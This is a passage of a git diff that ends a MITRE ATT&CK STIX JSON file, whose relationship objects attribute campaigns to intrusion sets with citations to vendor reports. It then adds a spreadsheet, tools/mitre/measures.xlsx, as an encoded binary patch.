2023)","relationship_type":"attributed-to","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e662ff77-e38c-4a8b-ac49-cfb98ad01b47","created":"2023-07-05T17:56:17.033Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-05T17:56:17.033Z","description":"(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"attributed-to","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f372697e-b661-4995-9920-4ec0a9060ebb","created":"2024-03-28T18:01:08.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:35:45.577Z","description":"(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"attributed-to","source_ref":"campaign--a82bc5ad-5f95-4c6a-9f25-aaf6f476a3c4","target_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","type":"identity","identity_class":"organization","created":"2017-06-01T00:00:00.000Z","modified":"2017-06-01T00:00:00.000Z","name":"The MITRE Corporation"},{"definition":{"statement":"Copyright 2015-2024, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation."},"id":"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168","type":"marking-definition","created":"2017-06-01T00:00:00.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","definition_type":"statement","x_mitre_attack_spec_version":"2.1.0"}],"spec_version":"2.0"} \ No newline at end of file diff --git a/tools/mitre/measures.xlsx b/tools/mitre/measures.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..049c710885f51f98bd5ce5ce9b445677c198bc95 GIT binary patch literal 9429 zcmZ{K1yCH@*6!dQ+}+*X0s~=yL4pT&0)tzyKyY`r0KwgYyIXK~4KBgL0D-{coKx?= z_vHPrySlq}Re!7Z`g%$CUQ0y*4jvBx03ZW&u}pP9x;^LtFQeL*1MB55cQ8|Nc5rmz zG;ws~@UXL0icv!A<-&UN3_e=7*Sw(Orkcy&8u=(EC=h2Z?H2s#t=<#6Dz?ED)r$X3 zyPwvbKcv6-6ZVKKpb-t!Cp}wAEK5%U(Wa1`@QlP=w(O^?AsvD<##iK>$b2L}Z4fyi zYvy^Nj``KmT}{Co3!ffc@X| zHFI#b_-n%B36tP{F04=^8D|GZ$h`F7ex8RKmcB}Ru(_My(jzr7YlAGKo%-8|i23oH~u-xWSm=?9Z`}ax314;!=J0 z>>hM>{E#$%P2F(C4-0aMs_J8m?fk5-efB^3>%cAL4@n}tVfQQbG!=>QK_cu%ryc9` zCY-A3FZ{*mb_5WmAKF=%<3hig;%I>&!8p8)2A z(YBuE@j<>_vI1D6DHvx7O0Ah<@N7p96Ed;~heDp$KR8SeL&B1-JdBq)R~OovI5)Q5 z@z7xdxrmFaFS=0+6%8A7A%H$1pAlS~zO{fzWCahr(FOf2JrYjZh2#3wb*&(XZ7z|l zxv`HSo0a60hN`ZE5mo&jCGQ>ns7AC!J`C(bxP?jP1{D(IjA8#9*#PQ+wd&tDscj<#yk1#8A`>=AzL0X5;}IZ4!bRP$Pj;*t1Z70bcY2Z+4=0U?=o%sfK&*YhHAF2<)>=n!=w^z@|E$k z4J>#hcVAY179+>S8Ban(1cs#2G2oO6e^QdeePS(KdHOsnd6C3P_X`{!3#p?mc4Zhp zV@4uZ5@P*l^!WK{NIvr4@-B^DrYZXob) zbSe!p*2Ni|_E4Uw$9~kQ;7@#QJbXGH|6yVw{uOqDq2SBC6OnP)T@)cg;Ec08CvEuO z*@k`cJ%<6K?|(Oc3Yq7%WsA9$og)PAVlos<9P#iWp&5x1aE?D|e z4$bxGQARapEd(QQvZYAvkJN9#$%}i{ElkZ~db>x}xvsC-Chx_J4(i9zc%_@16^h>X$!g3Q>B|pq&ng3TC>(fgtF7(TTo}! z;vD+!j|MzQc7&JVTYS>q*&QrRPd^;=sMh44i=~hcgo5hs z&W@77+5AD~=PEB6w_mC5J;qnR9Yny#bL4RGf!hjaMx}!1PM$*Y(tkCCW zpT*AjylOZnUQZ|vy3SAEqNodX$@FUOm8p2vUZA+=*%WqM71@9@+{a~;F8I{r6A|Hu zU2fXhTK)E({>(krl$xs1Cq+$vuhHISeZ(1|L~Gf+2T$qd@+yGOF0x z(>X>>Z-318S!CBA3FH%wKAPf7<^a6~0EqrcAnp#%HZE2c7OpOwe_#I2B9;1jF00K6 zpK^@+uhe<=%IO%>KhtS;nnOKC(@SV9i=gecKsq`TC2TP&X4&hLrZyO?0@&`9<951~ ze#Ff6!_`HMPabN&Y7J4QYba0hDkLZ>Gm5-?-Lx!OYxi$T%if@Lu_YN^BfdV~(=mYb zxX|blTIOG03tHN6jOM?kJZvj{`Uz}MqE_IZudrXVscKrxQ+Z1n%Mr6ixVh^*zeQ-7 z^IF53`F-BKp%TBh$cfg-o^Dcu2K}t*<>le=&hN8b9F)Tdi9(OEkG{O#NiAxzciSA# z9wOs+hj$2qNXr@ymKnz7MTK z)b4he;8AcQ&u6;Vg|F%gH^{jJu_bRHTG^ZNwUqF(v*K;XouX4zd~8*{bw$_e;~R_u&rA4;`1wmk(jrf(K9x;aH&6W}1U z!yYXRF)6A5&lkP)1Whrz>MfWr6dZRd2)t;w`$~7+=^FtXYEi^fDXi`Uvz<%qEmh&d@%;a?{3caBlxIK#1>8GAtICp>p==I_E zW%TAyECMy1D6!J7MA%;R<*B;nl^`^hxdbP!G!j~RkWe|O59gyU$~pu)Dta6NwPU)B zse5fd4`Mv&KgiNX-o2!O@#<9r-j$z67a67Q(T2DM1P8u(XOCqS|4!1vK_t0DerbI* z?wcum*J$1);vhxT<|_z$qm-HrH_cqe>Unz^>WImtXrOdR_cKHTQ%)nTt2HhlTg57g zok@$G$Zz_6#>JoA7fD1oQpXXM2^x!aO^sD7xUK%DDdOS6wr;M`45tUjrEGY+ zJs=NOInB%;L(lu9_E!u)3*35yhtbFw(zMNHR(yQcs?d>iJr*I`2EE3E)a?DpieEBX zls>#$z<@WW80|J4rJKj1ZDkM+c*RFNs8-%swk%c7zl3(_50TajkbyM#|K5f^QDl03 z#yW7w67p3r*9STcB3Dh_@wQ5|Avows+7&MQHt@*CVkKDF78blQdxOa;_q824ZRGS| zE5f72LSYmUm2@qzpu!fVv*XQkyr`QEAIcBPpmwxPrgZgs70*m+6T<9lcwe@j!rVSR zU%zvzrsEE7a|)Gntw2cW05r?Cs=D%f%8q@Ufx2d}7kw$3lmSZ*TAs z%{-HKM7?H^+EfE!V^xa~DDw04bo|YZkVNO@oVLHRVnIoGw#xW30mr~NJA_O3PICK? zESlXaCCVnc3$e}M^%%zv-x~r3q+l$(6&rhp3byY2K@{ zz&y2uX{ zQlAm@J8n+*OoEudxVLYqYGAObI7LHc1*Lz#2fvHxJT4{py`i##kxAady*#i zLf)qFr;h3?BFw*ggu5!(_q640mDEk=W=Rwa`?0URSMr$$_D3axTEt#i&WZ4rU*06~ z!n4M9S^^U5bm{?`yvt?bvrHZ|Cup1=-cGWW zY+nbZ@!fB!*Fj*wd_DJ=pIRzh%NvBm#CfiIaMrq_K;O1QR@R?-M;K1xixULQ#}jNm zc<)R+zV)i?Bwr&3J3pYnhC^YjcdFs1pkNVLLA`GH{eW{z5{4H?=pC<0fPQoN$7355 z`aUKZka>GzpZp3d=!+kY$i$TDAuwFhyx|v$hEoJ#Y#*8wV^l1e$A3|8j`-~QHkf5px00EZPlOntq%jqc8Q)QVOEjw_cVYv@NYYFp zGZo+NELp9>wcCd9)JY$28~C7qI5vq=MI98vJmv#&XRhanuT5fwRqjB1lEf+(iRSs! zzR`v&XRPuJAqst6+5R4^7Ar(S(_P<)@72%9eV*Z6k0z3(Q|WN)Xnnw}^YPRqshfhq z>0fq8{n-&q78piG7qWptk zXN~M&_S!B57ZE)mP;gs`BL8khfYI8?Il5xguiS353eyGdF_k7P1C*-3N*kd&ClpD0 zlB^!iqd$&vb>t!=M8PGqf`j;rdkLceU}2LyTZp%O5q_nG=_QYq&QuLg2@)<@teH+4 zAv5>fDOUK^&eqJvWMFKR|0rc%2k1J={31Fq;VIAjqc$`*#2i0#Z1~GL1J-_CFB9?x zu8oYx&XZVTtXLX}{O6EUF1F!h{?PX3@tS=xiz0}uUiKA_pzJI$oX0u6ldk5H@((e^ zhJcEw+~cV|xKSBu_j>`@K;!5ff5aJ72@b@_*OHVpt;I^u zlILDUK*NwzwVAG_qfi`)DePaYUKDNo+3LPc>0XB<0Jj)J?Yc4{+P<}Ze?PKEB()Ek z2^-rR9gQ`}rxbaG=^L$<&uKD*o$n~k$y?k1g(4W5k5*tH6Lk!>WR(w=wKH`-Yj?t| zPi|ltE($3`IGvEud;cllIy0*q)bF8E*~o8T|9Ce8JN|V4iz+(D>_jhb)4*r0Rbs4P z@!tDk&q#wJaI;r{iovcva+_J1V6Cxzoayr=+zq%vM!6FJW+o}?4Vv^{3?aH}FeO62 z6r!w)Z-s1=R7}df4z_*?9g|1nHnY1QT;52aOz9tuLHEAMIU9MQJ0^7lI0LXWl6FiG zh?7R>yMeja*xHnw{6^-xI^`V!sk9!MjykmS&KZs5win ziVsU**cUFEo;P#j?|@T|=v5s0;J!x7{r0}LHuQE7#p9f2X(Un&eIK#&B7qYn zA2nu{GU#-`voJHgo@5;hdD{a}Oi8=sc=}$Ryz!hmcdejp2TNf&c}8W1LWPtO(4gw5 zK?j~5w|t6mnYhzvQj>P}@BYTy5qX#a8Ic$bcbK2g%SGiq*Oo$r(6n)W3_S1~>U{(_ z!D*zZ!ztltQgFQP_ALyN8>CPrWyESwz2lN6Q$4x!$;BswuNe@2iq!^69{*l$UVa{< zcXI@r-C&Md?xlucB4C~zQHn{;t-J?ON=onv_(%i=WT!&M8+vTZ9p z#xHnXzfCznz$)FkhG8bWaEs+?jpcM&TjPX^hW5TjHKH5`MwE$h@}iob(~*sfX)BPb zmI)td`XodW=18wQOpps(GCs^PZ_phV{q+G;?i_5&q=e}ht&YoWa!yfb6$vtxN0>-7 zXs99mHmK{UQiMdUr^=GVJZHxDE!@hB{;~k~CSNd&-kh&^Ok8ijZrtT*8hCOzcm)kz6wa2R(%MYNG7@&LkJ6m(L1fJ&9}u6%=3|$*rvk0dndSvIpEk3kX}>!j z%KGBKS5M>7^U3apR6Uk%EcNx!&%QI_h{fHzqSNM(Wv-%1MrM42lsv3jRw^zqc=-vB z;-Z56{_88l6MCt%{Uw%_v;B>CaOGc%Q;_=|d8x@u7DO*u}v*i+O0~Q~E2xu=qMC-b7kak&=4CA)r3}w0`Jv5Dt zE$RT?mfR{NvlWg4^fQjsO3tRg6vANK!T8B>_lsNH@PpB(`vzZV_vWt-nDz#q4#cq6 zExNc^cI9}8iyu@m8spO``6W!?R({$U-%gvH1cV%jR5@YcbilvX_x+d+E9(9OfHJ&i z$le1Z+7*rCIk~2?SEb^30NceXoEj|=3>%5pJdBn0fWj>}?^62#_RR0pC|%Tz{dfqZ zY5V@z&bXg!Xytx+V{G5n&8miz2+7f(w7;})yM}$^ywN7cV9!PeOp?-fP~#OKx@p|O ztVrx2V^i;P1^?u9z&x$EzLjZ%4ByY|Fiw;r`gp<(8v~J}rVJK6u()Nok!3*u#;YKG zJl$Q)BFh*z&y72%TE+TBPJ8;c(eGhRtaSd{W)1ckQTmTFl=l;i-^Jp!CxI!fIxW5S zE73tdj9<)jN`(3CY!hVKhVz0Otc+#Doh??#*7;p{IqM3Gij|5><#))0nF)|ql}qjq z(LBAF{m%@*XK!0?Go`AM+mYZ?NQ^Q(kZlt(n9(R=Ufy}N^IV`pQ()B zid|0wrZ9UgkF8Gg?T56OUxvRU4S?vuNAczIuq_$zkts|vsi7OAErVK*9mFUo;2Wwb z7VvyWfSJ841KMcsq&o9NK!7w`mVng)vRZIf{LhwHb2kmia`3E>@lH$;ek;snT*#KJ z1O1OP)(*k1r|~}ut+T^r`xsF8Y;l6{^YEI!GQ96mFbx9?LEA*xi`0J)9tJ>yhk)Fz zf*1x#tA^^W&&v3n*S|9TDv+|yJeiz3vLs-c2 zP>J_&9TEakF`8Y{mt~8HDj}7rtnGoMW7P(tH?4BE99Fx!r@zZGb{|5-Dg@-atrH#l z!(wdHTd0Op*Sh<%&fg*h`(o7)6gq!D=n))TlBbjdUBXvxyH>-Ew)Jwsil1}@VQg~U z2A|MR^bwfCh-K$=BD`<#gk;_Wh-o`=?W;0Cl}D5Kc!pBn5iTC2dZd>y??<9YvB5j<@ zj@E|hqiHIPeYo@OD&gmeD6OztUAYdEPr1^?7+F>espafLInJadwOE^##Vp~$FaHS)vfwoCTRpjQ5&X2A7;^w^6VpPLDt)S*Mk$gy# zYTk{c zw&L+1?HRrunhYfuhO#cnHeL-=e(&Aq8bj z@b26l`4;l7#r>kpQ6i_PJ_*dN-<)yUbx)`gSfuX9#Hi+vv#x}@*GR5lmV6m=M{#U%m!J&aZ! z<`NDjl;}5>8bo)#8Ah&=J{B?&FI6?iM!_FC zBl%|4Ou9yw?X@Ha@%yF@bAn=*f_Gv1i&=%@tDJ9v4t~`licV4xIR)NV7vnR&Jh#{A z{4#rB+GITvkJ-H^w=MbUTpDeH44IMHJn}+c@*!y4>`}EDO}&@i;k}cU25QWj8GV$K zY5fy_zzF8)C&0fI{Kv`uTIM!&aIpEy&7xJO!F`fgkI9ad#%j|6 zg-4Mx>|q3~K3#N~?~m5)mR9Rms@)T@*zR^_HzwHn#@4PBz1hNIMpE6W_lvM0gbxIVqJQ2B?8mBrr0L)z5k@7 zOjIiwdX<&Aeb!A!0q4~&nVdOBSDSl{#%;(H_Mt6dq-AXkWQxhA{p9c7G4fWg9|l{` zTbn;2)3Ydm-#Ka9bgJq265dP9K5GhB1jbO$-?FG`!12(6PsR)1?9e2`EFA6WZM4Rs zc5lYF3F)|6S;R$B^x7VQ3_5Mh7GgH2r>kulcVX%agELTt+Qb^?_k2V-#|qEg z{!8OE9modpoB8PJIiNtVK7wQ7JJ(xl!ipW85XAPG4r{CgrdHq*uX*;5^t{hvPtvX* z)*;?PzrPAyU~;t^9G1$MGlTI-b`^WA8U=dPc19Ib@=AD!BUn-#b*XknsO%tGJ~eNZ z>km8$1#e}l#=oOfZK6ARxIX<+D6xq1Odx(ya1!pHO1qx4gT1STy{nOir=x|7!CzKX znW&`P$A$HxorNAf2b=bnB2r^C14kIMwBA_E6AkZTC+h>4mULYXkqaYx> zL_kN>mvC})w{&zj*6?w*bTj1ecCZH*A|pcb5fFjv|Ig3=#t2NLtlRd#CK@_H^9xV< zIV(vO!&PN;G`-6>AuP6-{lg^lQ}+JlA1`u`m|5n++Ewnx(c5n0_eoBCMm&uAP_aMu zeRrM1Z)!`_e@tOs@dk`J>4vH5y^3v6spSDv#B*?l%{QSad6J0N|`!Pi-wk=>aJ zE%`hKla}_ydAn)JpZ*p<)aXPyWlFl1E4~_)0*59)3F~FUFmb?I0`lvT`uoZL#Y&So zzaj;)NDa2?yUipgDn89p9v!=Q?N5D@WfFoH9evHmFuj+JAMNQR{L^quBT@-yI40I} zvMwI!s8YVb-7&^eqr(JxXVDTc?Shv{bEVg09lTcj9_G!6Z1(fWiXVFz{27Kf@|+Ex z31o^d@aTl!uO~6MnIOIXg0s;UZ%Qb}5(q z=HPKGhYtOAN=$B;elngox4+XYk>!P{5#AzuD{zO5fbjf`grM^OU}%%(Yx+yT>=Xe4 zVgU>_cD1y3F!pm*DE454_G*i}Dw>c;kiOZgIxPLp#RH9n(KSul zrD}74z;og6!qsOPc^`;pS3FB)Yk7gf=sLah{F!7O{xpX+ImXKp$}o`d=McRiCEYc% zn=daGpz43B!)jaJ#mHx&Njo?>2n)^&V;$~*`{fqyIJ?-CHa!qw>ew$je zTvq`)A7cyq-V4dBo|ljQ?8@0AYINL$H*cn8hF|6X4bp4mJ{!;R8F+{BwQ}Ti^kXzl z`5F+c{%4YC1kak=BOxHP0#OYQK*rmi)62=#&dkZl?q3Ki)>3u)AwU$E*Z7QoE9`;D zkWl^``ICL>n1)AH*LB64NLsBNzJ?sA=AWJuK3bw7_rX8-%XI+{w}Qj#{F~?V%^Qnv zQ==l^K#yUeYL&+Nw660`%`_WtB+w!6Zi#5 zsYVbZO*xK5hXqE+8t`JK^;N)D&!NeZFlOHsH|icOPHpk@#L8xF>gD?A*t+?xlgXEh zC2J1Z%2|2zK0l_+mc2y@?R3_m-vO+K(HaZdY8hEuBU_Tcb%(eo>9{`?EYB2S=xQft zy6AWqmc5g_vE|&;w+XqkiEbMC?7RGXg*1e5$Ut3}P^ql&8@Mk=A&9jF)h`nZzr{l) z=$oS22y+6c6@y()qF$p#a!-rh=hLYdN}xH5?wDK`LxMY@mu|tSRcX&Rh3q%4>NRk^A~Pw&*9YP}a0 zKtJsq08X+`UtRhYco%QUB5{4@vF{_{^ozmswPKhjC3e`=2p*!}w|HSu()(na^?Qsd zSy4rl3Xg8}u#mVJ1PkYSZl<4(gC6~vmQLJ8Ijh6Gk4{Q0SMz-Kwj07l6n{%;-!?Ym zRZR?(p6!?TT~VGo&9e#BD((>+_!ad99%ES^QZ8RnmdAxTPuE7x5M;GlCif2WP7+Y~ ziVtUP}1P$eiV3{lns2 zN1j2`%Z>z^5*2R}3T@Ah=kZgD&Jcd#dA>H$dFMNi?u@dMke|%OxK{YTB_98Bxh~s2AOUFiKNE8e;}L=gQ1%-@PI3hF7XUH;D}eov z^!&er*$Y5s0@wcU{nME|Z3{T_p_9fvytvXcQ4RNEZQgjdYyjU|_Y93{f*-?)0~X_w};On&X|x=%bSOVV6#%@ zxYUo%RlH#3(D<2FhhG#(At85pIKKkephlO*51!7{y{!Mz^&b*?0kHL9t&OGe( zBRqT6>mddHN(z|9|K-};&Zw z7x`onItr)L!8IF}c4N)tu*xLY{UoLO>h~-5^JA*9x|h9TcE||>v*$t2F(3Hagv-;8 zdUYx~l7_@3G2Efr_4?_T_bt1SvH^iL&CUg?luHb@uAIP!*Wc|L>TrVTW%upnDE98? zu&b@bTqyRb1^m_Ridw(wH{d!r1#5@OHqk~GvS}E2Udloyc(4tZ)Ox!>`Y1VqQ0&GP z)2HUdF5%gfR@AcA@AmhJGjN#!`Q|xc92NN#2=!tPum6JCYB=BSM@npJ?CBkgw?aM6 zYHFko9)A!S!iTdt$9piGpd3@h<99Xv12)zsOaVy7sz(9LgWGSTyZV#7`s?3LJaeeq zTWZdU>I#|brZlJuWN}JkC~VIfhRyOlr*IDa_U;~8ew(Ar5=nKXNr2=bcd}(h&BUFp z9QNXl*3@ZzVBl;Lo&5-W3Nqkp3*~Qg zkh3ap?m<<@o_#GO*d6=+c-*wVhqQhR^sD`mnRO|j`M4O)HAnD>G!RVZc;wWa7zWj8dqg)xe<8yM+1qf!EFOr9FxlSoJKXTgXFwT0KLe)m{G5`iuLQuK0M^+;W1i`Jkw%>Djz~;V&cW!qR(iz%D{?dw~wW2rV-3N(Lwd!=3 zeLW)TS_V#^S~dEi+cE~+nuh;c0hgqTLGP* zck)N1kG~FD*BZ=Ga69Fuw|K`EpcGtsZbyBT?+cGk;sW6ps#Q!Dn#qh5Oo&buHL3P} zrD9c|dD*Dm)onPO{&`#XQdR`qHltegfy2j5*1IL!o&)3CZupTQ<15ED-Y1m6|A6?P z51|-w%ziO!sTx981lEX%ncrj8mANM0+!=MU5=t?JyVOlr92au? zdjx4o%M4ngpN|Jkr7WpK1KRvmp>ykT3KdAo9Xq{I9&hoBw!& zd4>3_*Z2qAZ~>m%D+;L{D}inSlPnsSup;Lly==gXj2@do6OK%aYv-hcKaQsvNl5s1vlxDqsxb_#dGEUB+*ifd!e19)Q*ql9 z9G$(I@P1}YB2r{6B0mgORCeoD>H(t^9I>qa3L<&QD0xA$iFqS0b&{o)VN|_O9K9ZC zsXg(?VR$TQxGCBo^*TOX>enkgpUuhS;?obhgnr}PF~2JFbtcnpjfHZ)A+j9RLo?qI z=fZaB6lh+5RvyB=qrF+{U9(=?~4mN{q8qO}r^artpsxdYa$$>g`rf{v*`)%*7b_Ig-eZ%4lKDCyGV zwVKXUzeW>vHO)Ba{Y0PCUoBwG>q|QP7|Hg)rtpzX90qCDAL!x zCu549hd;(oOF_?nm)4)I4ughz*q@7@&p3mgep+s>bG*DZKRf9e?0H%;UUYl9egFJ7 zUG(|46OBMkjl1VJpP&*q|APl+)Cc|pQgiCRqEtrvfw)I}@5y!2n%mxytAp~!&;MF~ z@lkNQc`x&_ecIZSS}ASFS|ApcS|n-~+nl@Lo1FeoO>_-wV*88tBGtIW7SHC zwI`M&Vo$_c=<@QdU#({;SME%}+9EW1JGJDjnU@?_#31IwJ859Zqf?SJnE7UEa*3PJ zOSHFcq~<_(wob=-XSPoJ`bMWg9c6R2g8R;rsdbICA^k!hzpr2I&Xk%4NvBF4CMGX5 zSFCRlf9rVTgnGwWDfMO9BL94*%#*k!!+Sq%d7v%;G8zEqZhsc0j7J(_548>Y@L(QT z@6Ptne!5wmNrRT8AGR<>!!J8bm!%cx9VZiWu^sG+WZ)n`_tBD!P}ms!-Yxi6?aAO( z&de^#T-{7k(DqmTrZ7qq$KWpgBFlT|?TV%Br9TfNS}w)L#T$!Pw1F4Do`3CCUjOQK zA2;!H|I8SC_Sqon-rRqFdx4GLWECNPDb+KaWNfdGnoQLAh-Ov%Na0p|q(GT&WUsG- zRisBV(9BEaUM;YjFZWeK98ByHXN#YO^M`BEth(ctY|+DpVNa3JrikwquIn{+H`8=K z)_?fA-D=p5BicS;@?&+V3q2;Q3O?d?Id+i3^V z6NlmAySqjIH$E2^3mKFT#}VsMh!N{(C(Jkgtg5|zCvga?-{%=`X~o2*wPiQJ-qYx7 zzl(fB+>7H6hT{;o_;b$?F{^NWjmPlR&OvB%v)+OQ;aJZO9tptAhraG{C&V$z_GuFA%zmS%{3%2h9UpX4=#b#{X@d-19uHBXF2|{$u}k>)!a^OkaAQJX9C> z=bj(z-yW>;FLxn&ath&brc5V$83uNrGHauCaPC?KjI&w(wtfTl_O9#>LTl0P-E|m? zz;Ai)iF9*&(8b@{^-|XUwhH1+>|@r zDalqz%G07|FCckLdG5EjTa!3wU7Wj2nG92e5!;h>FU5eYkDKxVKv4I`azkK&fBpJ7 zu(@3PH^S&auUxUug>RvvD+qzzzHVBt1-G5{T7Qnr&5|OEtymH3d)4|OcwVP&zksas zcRm2!IH&rK6F09@wlN}pa+q59cM9ZS|GQsfyXBJ9Eyt`yV7Hzet}otc=1-Fozu=`w5lUIK@ULs&T>ZKv-hUuWU#DsH4opbiyev zI+I4+5~;j(QSn3icKndcnQ}tty|-8SlLxJ-C1#9O#zkC!{KOud`}0C6_mx~hsQWyWeFzs61C~o+m+3{MbOz_^lIRO!?;Z|o^o za!CsoH6>dozfg!8SJR=jFb&9OBD@3clzMY(rq~g>l71d4oAj7m63V&1etKF}&*+KP z1Z>DzwyPwfOBF+RM*eWLlY`gmdo|^5lJ)8?mG1Gq>1mStk>d?u#W6PWxrk$4A%NA8 zCx`wN{1uLlp6|ajC^@bD*#Xz_gme$ogS;!aPSSmQYby*;Ak@68MEw9So^V&)u@h*^ zrF>Z9((5l9A{q1Q&hY~X?CXl}KaJky%79-iVQdiCI!%{n=QRT`F+nc@!06$FTN|RUBR;7z({7I{Qqn_d5Qg&60$DXfq3bkI_<)T9tcGev@e}%@lQ9>u1YAQ|e7d~Br69hM0Om6OB%-$| zCzR6Wc%4Nl6faXw*noisGnD^}^_=zHs@-lHeZA2Y%bHO@x*&m5*( zJkeD?@~x4hLH5rM^xbOjCzge8sKbl>GFLVp6*A(OS^lJ9T)FEZ36(Ur^< zZi*>No=zt-juVBY@UjH%u{nI>8C?)bpcSF!MBNDSV-YsJ^((0c% z<-KHg%==MYL|9G%cbF6i)7~~3X}#s@B8o3l!OSI7W$ilY=dPHyKKQOqzL|{q2pi6& zZBbzG2RESwg&s1I6;T4yPRFL;;;2^vYwA;q^)$WY9U+S%@{D5`YJH8He9mDrDVV>O z7IRRBoUO8UHSqZ%e<&futPDe|8m7CS>SkurDTN(=AxHNink~h+5b4xm6rFvTgfQAT z?%dy4u}T_iJ<;lWiW3aekB&326WXj&?Vaq1K`O$~()Ob4Oru~Pd#(ZJV+9`fz}2qj?-ti42+?=ZG?71Q@})}lSqy|=kZcsAW^ z*)m$Y37rXHn1ZYW{^An>8rQXd=oH8gsh!(ji9USYLp-+pIY0fB%~`J!7!R65>N!tv zpU`pnuD!x9!BWb~N*U>+5aWV%7-H(fA`3=xdq2A#KT3y0Jf}}Ing8Kyo6O?}jpf@{ zJ%i9DedD9ilN$CNJ={pbcN)ttC-?WBN6h;AiAzus@EZI(O6Y;pAgA zvTJ~3wRlFERI)}CPYAyXf2IVjMrd{COZ~L(?XcL}l`@MIEbJ`Pdvl4(o+7hmdE;TQ zheqt#%^gdO2U%xXbm&-48Hz%S$sJ>nas8#un#-1QG6VJ5usVh^JB+NasQ)^fE=d)C zD(5TtQ>aPafI`~s46>_YNA~eF-DXdM*`CxzWaErv)TuRs(2%#UcSwU2N%YH|*XZ1N zH|$ZV#0;!7mVM~GqhYQ9j%Xi#(J~x_O-u@}UO#4k!M>1bSCfjVEzc2u9iC;mN~~(S zhc7`I`6?WD;zrxcC6Pgm1vJdJOkquPT6tdO;_0y-iZ8IEe zOTdI-v_ZI7^t{Y_nM0PQLgzf%?2jKYld#B*X-yt7IYyifK)VgJR&J@-jB3jz=(#%O zGkt{t(l?Nz#cy2zh81BT@bH{6XtE`fU9N1d9M7gS;58!Z=j`(pLfK+fzHbv zl1GfzX_zu`QUt;0`}&+qux7EJBh7I~hF zi9ctcdx{&QjAKhnqftYUsFYbK#K#y-@FRG^XFp$T&69a>1Qkx7F^J{R`^P@(4yU}< zZG?4f$uy(Poswhh*Yyi5jNB}!AeUrQ7?o~$dB7htM}Qf{GIAX4lfq(cc2t5UQPSSs zcbM#7tdXy1f6JZw%9$>idD<6Hro&EUZ(}ScX$ds&hj|uBP+z{0@}OU0!QP&fm%k`?8d&D=*IS#``W~s<55aHU(+`5KPlRa(Ae`l# zB4uY(AFl5o%ydm-r1#Nq_KU1;QQ4oYB@p-fEhZqHk+kH@?Mxt+loq~X9NB!zr+8IM zbehb2g!5c5&b36e#E)P!@|NzTkDo9*G?0j}b`5mV-&?3uK&f|IH{xVi5R>|~QjzUQ z1~2YesWA$akYolRsqoE{%WG$WEWS+?yd@1JP$T6C`1C zC4o>RM4OmsIq%|`xncRkHK>nCWNtrOB;87FXYmFlOEz&61B%d=%M z4@;L>sh)UUSq?*<3F#ws=2((QIllE&k|0%RtjmibC*O1^wnjxf2^o0;wu(`yL8FSf zftcl-3Qm%u7jxp0*d`l24++;dQewljF`n0FDkX|Wl*!-~Jw{T4OI33NvhDZ6YDi>F zqXG6QCTK{zkw3PIhE6QL&9#kf6_Dke-c&`Y^F$~5+KIME&wYA9S|;(9NqkLR5yeX) zI`K!a8hiv{t3Wpyd}5h0WLC^;k@{uUV9W9Q4nZ2`n*Y1?`UQIz>YUrfMDE zrmbbwgo}yjne8>z^U96PVzHckW{1dSHHC|*w;%mRFBC}F8-KA|FbTki;#4+gh6L;j z{NvNm@KV&LWPEt=@g@mSeK@C$LFP>_b~WD5f~hlUV&c5)ouG(NQz#`BiI%t?hOh;lDxg^6k<7Fcl^vIdwKFYI-JpiKD9}4xW2UtXB2Lz z=a|r6@aM}i)W!7}l=FA-X+?YY3Tsf}&7`UbtAO1pZ_Krqov2^H-lsn#%#=UM(J^W) zH~*M~>THj3eZGh`6`%Mu!||%uO1Lts)NxkV>Cg0cfo@XbPpfzpX!58Bs{BTNXactB zZ{LoEtDx-Px@#l6{=w<_yCr0EF%Tq3)1e~ti7EIz_ZY)k5x3E6ryy#ZD4NRuP9mx- 